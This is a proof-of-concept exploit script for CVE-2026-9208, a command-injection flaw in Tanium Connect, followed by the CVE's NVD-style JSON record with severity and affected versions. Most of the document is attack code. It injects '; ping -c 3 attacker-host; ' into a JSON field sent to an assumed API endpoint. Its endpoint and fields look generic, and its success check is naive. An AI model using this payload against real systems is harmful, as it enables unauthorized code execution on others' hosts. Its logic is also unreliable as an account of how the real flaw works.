CVE-2026-9208

import requests import json # CVE-2026-9208 PoC - Tanium Connect Unauthorized Code Execution # Target: Tanium Connect < fixed version target_url = "https://target-host/api/v1/connect" # Prepare malicious payload for code execution payload = { "command": "; ping -c 3 attacker-host; ", "action": "execute", "session": { "id": "", "token": "" } } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; CVE-2026-9208-PoC)" } try: print(f"[*] Sending exploit payload to {target_url}") response = requests.post(target_url, json=payload, headers=headers, timeout=10, verify=False) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body: {response.text}") if response.status_code == 200 and "error" not in response.text.lower(): print("[+] Exploit successful - Code execution confirmed") else: print("[-] Exploit failed or target not vulnerable") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}")

{"cve": {"id": "CVE-2026-9208", "sourceIdentifier": "3938794e-25f5-4123-a1ba-5cbd7f104512", "published": "2026-05-27T22:16:37.097", "lastModified": "2026-06-02T16:29:47.907", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tanium addressed an unauthorized code execution vulnerability in Connect."}], "metrics": {"cvssMetricV31": [{"source": "3938794e-25f5-4123-a1ba-5cbd7f104512", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "3938794e-25f5-4123-a1ba-5cbd7f104512", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tanium:connect:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.26.0", "versionEndExcluding": "5.26.191", "matchCriteriaId": "1A1A615A-ACF4-456D-BBE8-B0F70FB7DA4B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:tanium:connect:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.29.0", "versionEndExcluding": "5.29.237", "matchCriteriaId": "59870041-B951-4A62-A0BD-A603F02395AA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:tanium:connect:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.37.0", "versionEndExcluding": "5.37.140", "matchCriteriaId": "6AE994A8-3B04-48FC-8E91-D1B56A68248F"}]}]}], "references": [{"url": "https://security.tanium.com/TAN-2026-015", "source": "3938794e-25f5-4123-a1ba-5cbd7f104512", "tags": ["Vendor Advisory"]}]}}